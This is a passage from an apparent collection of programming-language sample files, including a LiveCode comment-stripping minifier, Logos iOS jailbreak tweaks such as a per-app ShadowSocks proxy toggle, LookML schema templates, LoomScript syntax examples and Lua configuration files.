  {
    "path": "samples/LiveCode Script/minifyScript.livecodescript",
    "content": "﻿script \"com.livecode.library.minifyScript\"\r\n\r\non extensionInitialize\r\n   if the target is not me then\r\n      pass \"extensionInitialize\"\r\n   end if\r\n\r\n   set the _ideOverride of me to true\r\n   insert the script of me into back\r\nend extensionInitialize\r\n\r\non extensionFinalize\r\n   if the target is not me then\r\n      pass \"extensionFinalize\"\r\n   end if\r\n\r\n   remove the script of me from back\r\nend extensionFinalize\r\n\r\n/**\r\nType: library\r\n\r\nTitle: Minify script\r\n\r\nAuthor: torocruzand\r\n\r\nVersion: 0.0.1\r\n\r\nSVGIcon: m21.706 5.292-2.999-2.999A.996.996 0 0 0 18 2H6a.997.997 0 0 0-.707.293L2.294 5.292A.996.996 0 0 0 2 6v13c0 1.103.897 2 2 2h16c1.103 0 2-.897 2-2V6a.994.994 0 0 0-.294-.708zM6.414 4h11.172l1 1H5.414l1-1zM12 18l-5-5h3v-3h4v3h3l-5 5z\r\n\r\nOS: Mac, Windows, Linux, iOS, Android\r\n\r\nPlatforms: desktop, mobile, web\r\n\r\nSummary: The “minify script” library is a tool for LiveCode that reduces stack\r\nfile sizes by eliminating comments and spaces from control code, enhancing\r\nefficiency but reducing human readability.\r\n\r\nDescription:\r\nThe “minify script” library is designed to reduce the size of stack files\r\nin LiveCode. This library removes comments and spaces from the code of controls,\r\nresulting in smaller stack sizes. However, this also makes the code more\r\ndifficult for humans to read. Therefore, it’s important to maintain a version\r\nof the code that includes all comments and other elements for readability and\r\nfuture reference.\r\n*/\r\n\r\n/**\r\nMinifies the script of a control.\r\n\r\nSyntax: minifyScript <pLongId>\r\n\r\nDescription:\r\nUse the <minifyScript> command to minify the script of a control.\r\nThis command sets the script of the control to the minified version\r\nof the script.\r\n\r\nParameters:\r\npLongId (string): The long ID of the control.\r\n\r\nExample:\r\nminifyScript the long id of button \"button 1\", true\r\n-- The script of button 1 is minified and obfuscated\r\n*/\r\ncommand minifyScript pLongId\r\n   if there is a not pLongId then\r\n       return \"control not found\"\r\n   end if\r\n\r\n   try\r\n      set the script of pLongId to getMinifiedScript(pLongId)\r\n   end try\r\nend minifyScript\r\n\r\n\r\n/**\r\nMinifies a script and returns the minified version.\r\n\r\nSyntax: getMinifiedScript <pLongId>\r\n\r\nDescription:\r\nUse the <getMinifiedScript> function to minify a script.\r\nThis function removes comments and unnecessary whitespace from the script and\r\nreturns the minified version.\r\n\r\nParameters:\r\npLongId (string): The long ID of the control.\r\n\r\nReturns:\r\nThe minified script.\r\n\r\nExample:\r\nput getMinifiedScript(the long id of button \"button 1\", true) into tMinifiedScript\r\n-- The minified script is stored in tMinifiedScript\r\n*/\r\nfunction getMinifiedScript pLongId\r\n  local tScript\r\n  local tCommentOneLineChars = \"//,--,#\"\r\n  local tCurrentLine = 0\r\n  local tNumItems = 0\r\n  local tBreak = 0\r\n  local tCommentOneLine\r\n  local tInsideQuote = false\r\n  local tClosure = 0\r\n  local tMinifiedScript = \"\"\r\n\r\n  # Valid that it is an object.\r\n  if there is a not pLongId then return empty\r\n\r\n  # I take the object code\r\n  put word 1 to - 1 of (the script of pLongId) into tScript\r\n\r\n  # If you do not have empty return code.\r\n  if tScript is empty then return empty\r\n\r\n  set the itemDel to quote\r\n  replace comma with cr in tCommentOneLineChars\r\n\r\n  repeat for each line tLine in tScript\r\n    add 1 to tCurrentLine\r\n    put the num of items of tLine into tNumItems\r\n\r\n    if tBreak is 0 then\r\n      put word 1 to - 1 of tLine into tLine\r\n      if tLine is empty then next repeat\r\n\r\n      # Comment of a line.\r\n      # To avoid doing everything for pleasure.\r\n      if tLine contains \"//\" or tLine contains \"-\" or tLine contains \"#\" then\r\n\r\n        repeat for each line tCommentChar in tCommentOneLineChars\r\n          put offset(tCommentChar, tLine) into tCommentOneLine\r\n\r\n          if tCommentOneLine is 0 then next repeat\r\n\r\n          # If it's in quotes.\r\n          put _insideQuote(tCommentOneLine, tLine) into tInsideQuote\r\n\r\n          if tInsideQuote is not 1 then\r\n            if tInsideQuote mod 2 is not 0 then\r\n              delete char tCommentOneLine to - 1 of tLine\r\n            end if\r\n          else\r\n            delete char tCommentOneLine to - 1 of tLine\r\n          end if\r\n\r\n          if tLine is empty then exit repeat\r\n        end repeat\r\n\r\n        if tLine is empty then next repeat\r\n      end if\r\n\r\n      # looking for the opening of multiline comments.\r\n      put offSet(\"/*\", tLine) into tBreak\r\n      if tBreak is not 0 then\r\n\r\n        # I have quotes.\r\n        put _insideQuote(tBreak, tLine) into tInsideQuote\r\n\r\n        # if it is not within the first item.\r\n        if tInsideQuote is not 1 then\r\n          # It's in quotes.\r\n          if tInsideQuote mod 2 is not 0 then\r\n            delete char tBreak to - 1 of tLine\r\n          else\r\n            put 0 into tBreak\r\n          end if\r\n        else\r\n\r\n          # If it is not before the quotation marks or does not have\r\n          # quotation marks, I am looking for the closure on this line.\r\n          put offSet(\"*/\", tLine) into tClosure\r\n\r\n          if tClosure is 0 then\r\n            delete char tBreak to - 1 of tLine\r\n          else\r\n            put tBreak + tClosure into tClosure\r\n            delete char tBreak to tClosure of tLine\r\n            put 0 into tBreak\r\n          end if\r\n        end if\r\n\r\n        if tLine is empty then next repeat\r\n      end if\r\n\r\n      put tLine & return after tMinifiedScript\r\n    else\r\n      # Here I look for the closure of the multiline.\r\n      put offSet(\"*/\", tLine) into tClosure\r\n\r\n      if tClosure is 0 then\r\n        next repeat\r\n      else\r\n        put tClosure + 1 into tBreak\r\n        delete char 1 to tBreak of tLine\r\n\r\n        # I have quotes.\r\n        put 0 into tBreak\r\n        if tLine is empty then next repeat\r\n        put tLine & return after tMinifiedScript\r\n      end if\r\n    end if\r\n  end repeat\r\n\r\n  # Delete the blank lines.\r\n  filter tMinifiedScript without empty\r\n  put tMinifiedScript into tScript\r\n  put empty into tMinifiedScript\r\n\r\n  repeat for each line tLine in tScript\r\n    if \"\\\" is last char of last word of tLine then\r\n      delete  last char of last word of tLine\r\n      put tLine & space after tMinifiedScript\r\n    else\r\n      put tLine & cr after tMinifiedScript\r\n    end if\r\n  end repeat\r\n  \r\n  # Return the code without comment.\r\n  return tMinifiedScript\r\nend getMinifiedScript\r\n\r\n\r\nprivate function _insideQuote pNumChar, pText\r\n   set the itemDel to quote\r\n   return the num of items of the char 1 to pNumChar of pText\r\nend _insideQuote\r\n"
  },
  {
    "path": "samples/LiveScript/hello.ls",
    "content": "a = -> 1\nconst b = --> 2\nvar c = ~> 3\nd = ~~> 10_000_000km * 500ms\ne = (a) -> (b) ~> (c) --> (d, e) ~~> 5\ndashes-identifiers = ->\n  a - a\n  b -- c\n  1-1 1- -1\n  a- a\n  a -a\nunderscores_i$d = ->\n/regexp1/ and //regexp2//g\n'strings' and \"strings\" and \\strings\n([2 til 10] or [1 to 50])\n  |> map (* 2)\n  |> filter (> 5)\n  |> fold (+)\n\nclass Class extends Anc-est-or\n  (args) ->\n\ncopy = (from, to, callback) -->\n  error, data <- read file\n  return callback error if error?\n  error <~ write file, data\n  return callback error if error?\n  callback()\n\n->\n~>\n~~>\n-->\n# Comment\n/* Comment */\n"
  },
  {
    "path": "samples/Logos/NCHax.x",
    "content": "#import <UIKit/UIKit.h>\n#import <BulletinBoard/BBSectionInfo.h>\n#import <UIKit/UIImage+Private.h>\n#import <version.h>\n\nstatic NSString *const kHBDPWeeAppIdentifier = @\"ws.hbang.dailypaperweeapp\";\n\n#pragma mark - Change section header and icon\n\n// courtesy of benno\n\nBOOL isDailyPaper = NO;\n\n%hook SBBulletinObserverViewController\n\n- (void)_addSection:(BBSectionInfo *)section toCategory:(NSInteger)category widget:(id)widget {\n\tif ([section.sectionID isEqualToString:kHBDPWeeAppIdentifier]) {\n\t\tisDailyPaper = YES;\n\t\t%orig;\n\t\tisDailyPaper = NO;\n\t} else {\n\t\t%orig;\n\t}\n}\n\n%end\n\n%hook SBBulletinListSection\n\n- (void)setDisplayName:(NSString *)displayName {\n\t%orig(isDailyPaper ? @\"Current Wallpaper\" : displayName);\n}\n\n- (void)setIconImage:(UIImage *)iconImage {\n\t%orig(isDailyPaper ? [UIImage imageNamed:@\"icon\" inBundle:[NSBundle bundleWithPath:@\"/Library/PreferenceBundles/DailyPaper.bundle\"]] : iconImage);\n}\n\n%end\n\n#pragma mark - Enable by default\n\n%hook SBNotificationCenterDataProviderController\n\n- (NSArray *)_copyDefaultEnabledWidgetIDs {\n\tNSArray *defaultWidgets = %orig;\n\treturn [[defaultWidgets arrayByAddingObject:kHBDPWeeAppIdentifier] copy];\n}\n\n%end\n\n#pragma mark - Constructor\n\n%ctor {\n\tif (!IS_IOS_OR_NEWER(iOS_8_0)) {\n\t\t%init;\n\t}\n}\n"
  },
  {
    "path": "samples/Logos/NoCarrier.x",
    "content": "//\n//  NoCarrier.x\n//  NoCarrier\n//\n//  Created by Jonas Gessner on 27.01.2014.\n//  Copyright (c) 2014 Jonas Gessner. All rights reserved.\n//\n\n#import <CoreGraphics/CoreGraphics.h>\n\n#include <substrate.h>\n\n%group main\n\n%hook UIStatusBarServiceItemView\n\n- (id)_serviceContentsImage {\n    return nil;\n}\n\n- (CGFloat)extraLeftPadding {\n    return 0.0f;\n}\n\n- (CGFloat)extraRightPadding {\n    return 0.0f;\n}\n\n- (CGFloat)standardPadding {\n    return 2.0f;\n}\n\n%end\n\n%end\n\n\n%ctor {\n\t@autoreleasepool {\n\t\t%init(main);\n\t}\n}\n"
  },
  {
    "path": "samples/Logos/Tweak.x",
    "content": "/*\n *    ShadowSocks Per-App Proxy Plugin\n *    https://github.com/linusyang/MobileShadowSocks\n *\n *    Copyright (c) 2014 Linus Yang <laokongzi@gmail.com>\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n *\n */\n\n#include <UIKit/UIKit.h>\n#include <libfinder/LFFinderController.h>\n\n#define FUNC_NAME SCDynamicStoreCopyProxies\n#define ORIG_FUNC original_ ## FUNC_NAME\n#define CUST_FUNC custom_ ## FUNC_NAME\n\n#define DECL_FUNC(ret, ...) \\\n    extern ret FUNC_NAME(__VA_ARGS__); \\\n    static ret (*ORIG_FUNC)(__VA_ARGS__); \\\n    ret CUST_FUNC(__VA_ARGS__)\n\n#define HOOK_FUNC() \\\n    MSHookFunction(FUNC_NAME, (void *) CUST_FUNC, (void **) &ORIG_FUNC)\n\ntypedef const struct __SCDynamicStore *SCDynamicStoreRef;\nvoid MSHookFunction(void *symbol, void *replace, void **result);\n\nstatic BOOL proxyEnabled = YES;\nstatic BOOL spdyDisabled = YES;\nstatic BOOL finderEnabled = YES;\n\nstatic BOOL getValue(NSDictionary *dict, NSString *key, BOOL defaultVal)\n{\n    if (dict == nil || key == nil) {\n        return defaultVal;\n    }\n    NSNumber *valObj = [dict objectForKey:key];\n    if (valObj == nil) {\n        return defaultVal;\n    }\n    return [valObj boolValue];\n}\n\nstatic void updateSettings(void)\n{\n    proxyEnabled = YES;\n    spdyDisabled = YES;\n    finderEnabled = YES;\n    NSDictionary *dict = [[NSDictionary alloc] initWithContentsOfFile:@\"/var/mobile/Library/Preferences/com.linusyang.ssperapp.plist\"];\n    if (dict != nil) {\n        NSString *bundleName = [[NSBundle mainBundle] bundleIdentifier];\n        if (getValue(dict, @\"SSPerAppEnabled\", NO) && bundleName != nil) {\n            NSString *entry = [[NSString alloc] initWithFormat:@\"Enabled-%@\", bundleName];\n            proxyEnabled = getValue(dict, entry, NO);\n            if (getValue(dict, @\"SSPerAppReversed\", NO)) {\n                proxyEnabled = !proxyEnabled;\n            }\n            [entry release];\n        }\n        spdyDisabled = getValue(dict, @\"SSPerAppDisableSPDY\", YES);\n        finderEnabled = getValue(dict, @\"SSPerAppFinder\", YES);\n        [dict release];\n    }\n}\n\nDECL_FUNC(CFDictionaryRef, SCDynamicStoreRef store)\n{\n    if (proxyEnabled) {\n        return ORIG_FUNC(store);\n    }\n    CFMutableDictionaryRef proxyDict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);\n    int zero = 0;\n    CFNumberRef zeroNumber = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &zero);\n    CFDictionarySetValue(proxyDict, CFSTR(\"HTTPEnable\"), zeroNumber);\n    CFDictionarySetValue(proxyDict, CFSTR(\"HTTPProxyType\"), zeroNumber);\n    CFDictionarySetValue(proxyDict, CFSTR(\"HTTPSEnable\"), zeroNumber);\n    CFDictionarySetValue(proxyDict, CFSTR(\"ProxyAutoConfigEnable\"), zeroNumber);\n    CFRelease(zeroNumber);\n    return proxyDict;\n}\n\n@interface SettingTableViewController <LFFinderActionDelegate>\n\n- (BOOL)useLibFinder;\n- (UIViewController *)allocFinderController;\n- (void)finderSelectedFilePath:(NSString *)path checkSanity:(BOOL)check;\n\n@end\n\n%group FinderHook\n\n%hook SettingTableViewController\n- (BOOL)useLibFinder\n{\n    return finderEnabled;\n}\n\n- (UIViewController *)allocFinderController\n{\n    LFFinderController* finder = [[LFFinderController alloc] initWithMode:LFFinderModeDefault];\n    finder.actionDelegate = self;\n    return finder;\n}\n\n%new\n-(void)finder:(LFFinderController*)finder didSelectItemAtPath:(NSString*)path\n{\n    [self finderSelectedFilePath:path checkSanity:NO];\n}\n%end\n\n%end\n\n%group TwitterHook\n\n%hook T1SPDYConfigurationChangeListener \n- (BOOL)_shouldEnableSPDY\n{\n    if (spdyDisabled) {\n        return NO;\n    } else {\n        return %orig;\n    }\n}\n%end\n\n%end\n\n%group FacebookHook\n\n%hook FBRequester\n- (BOOL)allowSPDY\n{\n    if (spdyDisabled) {\n        return NO;\n    } else {\n        return %orig;\n    }\n}\n\n- (BOOL)useDNSCache\n{\n    if (spdyDisabled) {\n        return NO;\n    } else {\n        return %orig;\n    }\n}\n%end\n\n%hook FBNetworkerRequest\n- (BOOL)disableSPDY\n{\n    if (spdyDisabled) {\n        return YES;\n    } else {\n        return %orig;\n    }\n}\n%end\n\n%hook FBRequesterState\n- (BOOL)didUseSPDY\n{\n    if (spdyDisabled) {\n        return NO;\n    } else {\n        return %orig;\n    }\n}\n%end\n\n%hook FBAppConfigService\n- (BOOL)disableDNSCache\n{\n    if (spdyDisabled) {\n        return YES;\n    } else {\n        return %orig;\n    }\n}\n%end\n\n%hook FBNetworker\n- (BOOL)_shouldAllowUseOfDNSCache:(id)arg\n{\n    if (spdyDisabled) {\n        return NO;\n    } else {\n        return %orig;\n    }\n}\n%end\n\n%hook FBAppSessionController\n- (BOOL)networkerShouldAllowUseOfDNSCache:(id)arg\n{\n    if (spdyDisabled) {\n        return NO;\n    } else {\n        return %orig;\n    }\n}\n%end\n\n%end\n\n%ctor\n{\n    NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];\n    NSString *bundleName = [[NSBundle mainBundle] bundleIdentifier];\n    if (bundleName != nil && ![bundleName isEqualToString:@\"com.apple.springboard\"]) {\n        updateSettings();\n        CFNotificationCenterAddObserver(CFNotificationCenterGetDarwinNotifyCenter(), NULL, (CFNotificationCallback) updateSettings, CFSTR(\"com.linusyang.ssperapp.settingschanged\"), NULL, CFNotificationSuspensionBehaviorCoalesce);\n        if ([bundleName isEqualToString:@\"com.linusyang.MobileShadowSocks\"]) {\n            %init(FinderHook);\n        } else {\n            HOOK_FUNC();\n            if ([bundleName isEqualToString:@\"com.atebits.Tweetie2\"]) {\n                %init(TwitterHook);\n            } else if ([bundleName isEqualToString:@\"com.facebook.Facebook\"]) {\n                %init(FacebookHook);\n            }\n        }\n    }\n    [pool drain];\n}\n"
  },
  {
    "path": "samples/Logos/example.xm",
    "content": "%hook ABC\n- (id)a:(B)b {\n\t%log;\n\treturn %orig(nil);\n}\n%end\n\n%subclass DEF: NSObject\n- (id)init {\n\t[%c(RuntimeAccessibleClass) alloc];\n\treturn nil;\n}\n%end\n\n%group OptionalHooks\n%hook ABC\n- (void)release {\n\t[self retain];\n\t%orig;\n}\n%end\n%end\n\n%ctor {\n\t%init;\n\tif(OptionalCondition)\n\t\t%init(OptionalHooks);\n}\n"
  },
  {
    "path": "samples/Logos/string1.x",
    "content": "# APPLE LOCAL file string workaround 4943900\nif { [istarget \"*-*-darwin\\[9123\\]*\"] } {\n  set additional_flags \"-framework Foundation -fconstant-cfstrings\"\n}\nreturn 0\n"
  },
  {
    "path": "samples/Logtalk/foo.lgt",
    "content": "% this is a Logtalk source file\n\n:- object(hello_world).\n\n\t% the initialization/1 directive argument is automatically executed\n\t% when the object is loaded into memory:\n\t:- initialization((nl, write('********** Hello World! **********'), nl)).\n\n:- end_object.\n"
  },
  {
    "path": "samples/LookML/comments.view.lookml",
    "content": "- view: comments\n  fields:\n\n  - dimension: id\n    primary_key: true\n    type: int\n    sql: ${TABLE}.id\n\n  - dimension: body\n    sql: ${TABLE}.body\n\n  - dimension_group: created\n    type: time\n    timeframes: [time, date, week, month]\n    sql: ${TABLE}.created_at\n\n  - dimension: headline_id\n    type: int\n    hidden: true\n    sql: ${TABLE}.headline_id\n\n  - dimension_group: updated\n    type: time\n    timeframes: [time, date, week, month]\n    sql: ${TABLE}.updated_at\n\n  - dimension: user_id\n    type: int\n    hidden: true\n    sql: ${TABLE}.user_id\n\n  - measure: count\n    type: count\n    detail: detail*\n\n\n  # ----- Detail ------\n  sets:\n    detail:\n      - id\n      - headlines.id\n      - headlines.name\n      - users.id\n"
  },
  {
    "path": "samples/LookML/example.model.lkml",
    "content": "- label:          'desired label name'\n- connection:     connection_name\n- include:        filename_or_pattern\n  # Possibly more include declarations\n- persist_for:    N (seconds | minutes | hours)\n- case_sensitive: true | false\n- week_start_day: monday | tuesday | wednesday | thursday | friday | saturday | sunday\n- value_formats:\n  - name: desired_format_name\n    value_format: 'excel-style formatting string'\n  # Possibly more value formats\n\n- explore: view_name\n  label:  'desired label name'\n  description: 'description string'\n  symmetric_aggregates: true | false\n  hidden: true | false\n  fields: [field_or_set, field_or_set, …]\n\n  sql_always_where: SQL WHERE condition\n  always_filter:\n    field_name: 'looker filter expression'\n  conditionally_filter:\n    field_name: 'looker filter expression'\n    unless: [field_or_set, field_or_set, …]\n  access_filter_fields: [fully_scoped_field, fully_scoped_field, …]\n\n  always_join: [view_name, view_name, …]\n  joins:\n    - join: view_name\n      type: left_outer | full_outer | inner | cross\n      relationship: one_to_one | many_to_one | one_to_many | many_to_many\n      from: view_name\n      sql_table_name: table_name\n      view_label: 'desired label name'\n      fields: [field_or_set, field_or_set, …]\n      required_joins: [view_name, view_name, …]\n      foreign_key: dimension_name\n      sql_on: SQL ON clause\n    # Possibly more join declarations\n\n  persist_for: N (seconds | minutes | hours)\n  from: view_name\n  view: view_name\n  case_sensitive: true | false\n  sql_table_name: table_name\n  cancel_grouping_fields: [fully_scoped_field, fully_scoped_field, …]\n\n# Possibly more explore declarations\n"
  },
  {
    "path": "samples/LookML/example.view.lkml",
    "content": "- view: view_name\n  sql_table_name: table_name\n  suggestions: true | false\n\n  derived_table:\n    sql: SQL query\n    persist_for: N (seconds | minutes | hours)\n    sql_trigger_value: SQL query\n    distribution: column_name\n    distribution_style: ALL | EVEN\n    sortkeys: [column_name, column_name, …]\n    indexes: [column_name, column_name, …]\n\n  sets:\n    set_name:\n      - field_or_set\n      - field_or_set\n      - …\n    # Possibly more set declarations\n\n  fields:\n  - (dimension | dimension_group | measure | filter): field_name\n    label: 'desired label name'\n    view_label: 'desired label name'\n    group_label: 'desired label name'\n    description: 'description string'\n    hidden: true | false\n    alias: [old_field_name, old_field_name, …]\n    value_format: 'excel-style formatting string'\n    value_format_name: format_name\n    html: HTML expression using Liquid template elements\n    sql: SQL expression to generate the field value\n    required_fields: [field_name, field_name, …]\n    drill_fields: [field_or_set, field_or_set, …]\n    can_filter: true | false\n    fanout_on: repeated_record_name\n\n    # DIMENSION SPECIFIC PARAMETERS\n\n    type: dimension_field_type\n    primary_key: true | false\n    sql_case:\n      value: SQL condition\n      value: SQL condition\n      # Possibly more sql_case statements\n    alpha_sort: true | false\n    tiers: [N, N, …]\n    style: classic | interval | integer | relational\n    sql_latitude: SQL expression to generate a latitude\n    sql_longitude: SQL expression to generate a longitude\n    suggestable: true | false\n    suggest_persist_for: N (seconds | minutes | hours)\n    suggest_dimension: dimension_name\n    suggest_explore: explore_name\n    suggestions: ['suggestion string', 'suggestion string', …]\n    bypass_suggest_restrictions: true | false\n    full_suggestions: true | false\n    skip_drill_filter: true | false\n    case_sensitive: true | false\n    order_by_field: dimension_name\n    map_layer: name_of_map_layer\n    links:\n      - label: 'desired label name'\n        url: desired_url\n        icon_url: url_of_an_ico_file\n      # Possibly more links\n\n    # DIMENSION GROUP SPECIFIC PARAMETERS\n\n    timeframes: [timeframe, timeframe, …]\n    convert_tz: true | false\n    datatype: epoch | timestamp | datetime | date | yyyymmdd\n\n    # MEASURE SPECIFIC PARAMETERS\n\n    type: measure_field_type\n    direction: row | column\n    approximate: true | false\n    approximate_threshold: N\n    sql_distinct_key: SQL expression to define repeated entities\n    list_field: dimension_name\n    filters:\n      dimension_name: 'looker filter expression'\n      # Possibly more filters statements\n\n    # FILTER SPECIFIC PARAMETERS\n\n    default_value: 'desired default value'\n\n  # Possibly more dimension or measure declarations\n"
  },
  {
    "path": "samples/LoomScript/HelloWorld.ls",
    "content": "package\n{\n    import loom.Application;\n    import loom2d.display.StageScaleMode;\n    import loom2d.ui.SimpleLabel;\n\n    /**\n    The HelloWorld app renders a label with its name on it,\n    and traces 'hello' to the log.\n    */\n    public class HelloWorld extends Application\n    {\n\n        override public function run():void\n        {\n            stage.scaleMode = StageScaleMode.LETTERBOX;\n            centeredMessage(simpleLabel, this.getFullTypeName());\n\n            trace(\"hello\");\n        }\n\n        // a convenience getter that generates a label and adds it to the stage\n        private function get simpleLabel():SimpleLabel\n        {\n            return stage.addChild(new SimpleLabel(\"assets/Curse-hd.fnt\")) as SimpleLabel;\n        }\n\n        // a utility to set the label's text and then center it on the stage\n        private function centeredMessage(label:SimpleLabel, msg:String):void\n        {\n            label.text = msg;\n            label.center();\n            label.x = stage.stageWidth / 2;\n            label.y = (stage.stageHeight / 2) - (label.height / 2);\n        }\n\n    }\n}\n"
  },
  {
    "path": "samples/LoomScript/SyntaxExercise.ls",
    "content": "package\n{\n    import loom.Application;\n\n    public interface I {}\n    public class C {}\n    public class B extends C implements I {}\n    final public class A extends B {}\n\n    delegate ToCompute(s:String, o:Object):Number;\n\n    public enum Enumeration\n    {\n      foo,\n      baz,\n      cat,\n    }\n\n    struct P {\n        public var x:Number = 0;\n        public var y:Number = 0;\n        public static operator function =(a:P, b:P):P\n        {\n            a.x = b.x;\n            a.y = b.y;\n\n            return a;\n        }\n    }\n\n    // single-line comment\n\n    /*\n    Multi-line comment\n    */\n\n    /**\n    Doc comment\n    */\n    public class SyntaxExercise extends Application\n    {\n        static public var classVar:String = 'class variable';\n        public const CONST:String = 'constant';\n        private var _a:A = new A();\n        public var _d:ToCompute;\n\n        override public function run():void\n        {\n            trace(\"hello\");\n        }\n\n        private function get a():A { return _a; }\n        private function set a(value:A):void { _a = value; }\n\n        private function variousTypes(defaultValue:String = ''):void\n        {\n            var nil:Object = null;\n            var b1:Boolean = true;\n            var b2:Boolean = false;\n            var n1:Number = 0.123;\n            var n2:Number = 12345;\n            var n3:Number = 0xfed;\n            var s1:String = 'single-quotes with \"quotes\" inside';\n            var s2:String = \"double-quotes with 'quotes' inside\";\n            var f1:Function = function (life:String, universe:Object, ...everything):Number { return 42; };\n            var v1:Vector.<Number> = [1, 2];\n            var d1:Dictionary.<String, Number> = { 'three': 3, 'four': 4 };\n\n            _d += f1;\n            _d -= f1;\n        }\n\n        private function variousOps():void\n        {\n            var a = ((100 + 200 - 0) / 300) % 2;\n            var b = 100 * 30;\n            var d = true && (b > 301);\n            var e = 0x10 | 0x01;\n\n            b++; b--;\n            a += 300; a -= 5; a *= 4; a /= 2; a %= 7;\n\n            var castable1:Boolean = (a is B);\n            var castable2:Boolean = (a as B) != null;\n            var cast:String = B(a).toString();\n            var instanced:Boolean = (_a instanceof A);\n        }\n\n        private function variousFlow():void\n        {\n            var n:Number = Math.random();\n            if (n > 0.6)\n                trace('top 40!');\n            else if(n > 0.3)\n                trace('mid 30!');\n            else\n                trace('bottom 30');\n\n            var flip:String =  (Math.random() > 0.5) ? 'heads' : 'tails';\n\n            for (var i = 0; i < 100; i++)\n                trace(i);\n\n            var v:Vector.<String> = ['a', 'b', 'c'];\n            for each (var s:String in v)\n                trace(s);\n\n            var d:Dictionary.<String, Number> = { 'one': 1 };\n            for (var key1:String in d)\n                trace(key1);\n\n            for (var key2:Number in v)\n                trace(key2);\n\n            while (i > 0)\n            {\n                i--;\n                if (i == 13) continue;\n                trace(i);\n            }\n\n            do\n            {\n                i++;\n            }\n            while (i < 10);\n\n            switch (Math.floor(Math.random()) * 3 + 1)\n            {\n                case 1 : trace('rock'); break;\n                case 2 : trace('paper'); break;\n                default: trace('scissors'); break;\n            }\n        }\n\n    }\n}\n"
  },
  {
    "path": "samples/Lua/filenames/.luacheckrc",
    "content": "-- Disable unused self warnings.\nself = false;\n\n-- Allow unused arguments.\nunused_args = false;\n\n-- Limit line length to 78 characters.\nmax_line_length = 78;\nmax_code_line_length = 78;\nmax_string_line_length = 78;\nmax_comment_line_length = 78;\n\n-- Ignore generated files.\nexclude_files = {\n\t\".release\",\n\t\"Exporter/casc\",\n\t\"Exporter/Config\",\n\t\"Exporter/Data\",\n\t\"Exporter/Templates\",\n\t\"LibRPMedia-*-1.0.lua\",\n\t\"Libs\",\n};\n\n-- The following globals are only read/written in non-packaged releases.\nglobals = {\n\t\"LibRPMedia_BrowserMixin\",\n\t\"LibRPMedia_BrowserTabMixin\",\n\t\"LibRPMedia_IconBrowserMixin\",\n\t\"LibRPMedia_IconContentMixin\",\n\t\"LibRPMedia_IconPreviewMixin\",\n\t\"LibRPMedia_MusicBrowserMixin\",\n\t\"LibRPMedia_MusicColumnDisplayMixin\",\n\t\"LibRPMedia_MusicItemRowMixin\",\n\t\"LibRPMedia_MusicScrollMixin\",\n\t\"LibRPMedia_PaginationBarMixin\",\n\t\"LibRPMedia_SearchOptionsDropDownMixin\",\n\t\"SLASH_LIBRPMEDIA_SLASHCMD1\",\n\t\"SlashCmdList\",\n\t\"UIPanelWindows\",\n};\n\nread_globals = {\n\t\"LibRPMedia_BrowserFrame\",\n};\n\n-- Add exceptions for external libraries.\nstd = \"lua51+libstub+wow+wowstd\"\n\nstds.libstub = {\n\tread_globals = {\n\t\t\"LibStub\",\n\t},\n};\n\nstds.wow = {\n\tread_globals = {\n\t\t\"CallbackRegistryBaseMixin\",\n\t\t\"CallErrorHandler\",\n\t\t\"Clamp\",\n\t\t\"ColumnDisplayMixin\",\n\t\t\"CreateFramePool\",\n\t\t\"CreateFromMixins\",\n\t\t\"debugprofilestop\",\n\t\t\"debugstack\",\n\t\t\"FauxScrollFrame_GetOffset\",\n\t\t\"FauxScrollFrame_OnVerticalScroll\",\n\t\t\"FauxScrollFrame_SetOffset\",\n\t\t\"FauxScrollFrame_Update\",\n\t\t\"GameTooltip_AddInstructionLine\",\n\t\t\"GameTooltip_AddNormalLine\",\n\t\t\"GameTooltip_SetTitle\",\n\t\t\"GameTooltip\",\n\t\t\"GetMouseFocus\",\n\t\t\"GREEN_FONT_COLOR\",\n\t\t\"HideUIPanel\",\n\t\t\"Mixin\",\n\t\t\"PanelTemplates_ResizeTabsToFit\",\n\t\t\"PanelTemplates_SetNumTabs\",\n\t\t\"PanelTemplates_SetTab\",\n\t\t\"PlayMusic\",\n\t\t\"PlaySound\",\n\t\t\"SecondsToTime\",\n\t\t\"SetPortraitToTexture\",\n\t\t\"ShowUIPanel\",\n\t\t\"SOUNDKIT\",\n\t\t\"StopMusic\",\n\t\t\"tostringall\",\n\t\t\"UIDropDownMenu_AddButton\",\n\t\t\"UIDropDownMenu_CreateInfo\",\n\t\t\"UIDropDownMenu_Initialize\",\n\t\t\"UIParent\",\n\t\t\"WOW_PROJECT_CLASSIC\",\n\t\t\"WOW_PROJECT_ID\",\n\t\t\"WOW_PROJECT_MAINLINE\",\n\t\t\"WrapTextInColorCode\",\n\t},\n};\n\nstds.wowstd = {\n\tread_globals = {\n\t\tstring = {\n\t\t\tfields = {\n\t\t\t\t\"join\",\n\t\t\t\t\"split\",\n\t\t\t},\n\t\t},\n\t\ttable = {\n\t\t\tfields = {\n\t\t\t\t\"wipe\",\n\t\t\t},\n\t\t},\n\t},\n};\n"
  },
  {
    "path": "samples/Lua/h-counter.pd_lua",
    "content": "\n-- A simple counting object that increments an internal counter whenever it receives a bang at its first inlet, or changes to whatever number it receives at its second inlet.\n\nlocal HelloCounter = pd.Class:new():register(\"h-counter\")\n\nfunction HelloCounter:initialize(sel, atoms)\n\tself.inlets = 2\n\tself.outlets = 1\n\tself.num = 0\n\treturn true\nend\n\nfunction HelloCounter:in_1_bang()\n\tself:outlet(1, \"float\", {self.num})\n\tself.num = self.num + 1\nend\n\nfunction HelloCounter:in_2_float(f)\n\tself.num = f\nend\n"
  },
  {
    "path": "samples/Lua/luatexts-0.1.2-1.rockspec",
